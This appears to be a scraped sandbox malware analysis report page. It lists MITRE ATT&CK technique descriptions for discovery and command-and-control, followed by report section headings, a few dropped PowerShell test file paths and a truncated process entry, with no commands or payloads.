Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ra2ran4q.ejl.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s0dsinev.5ec.ps1

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: cmd.exePID: 7040, Parent PID: 3332

General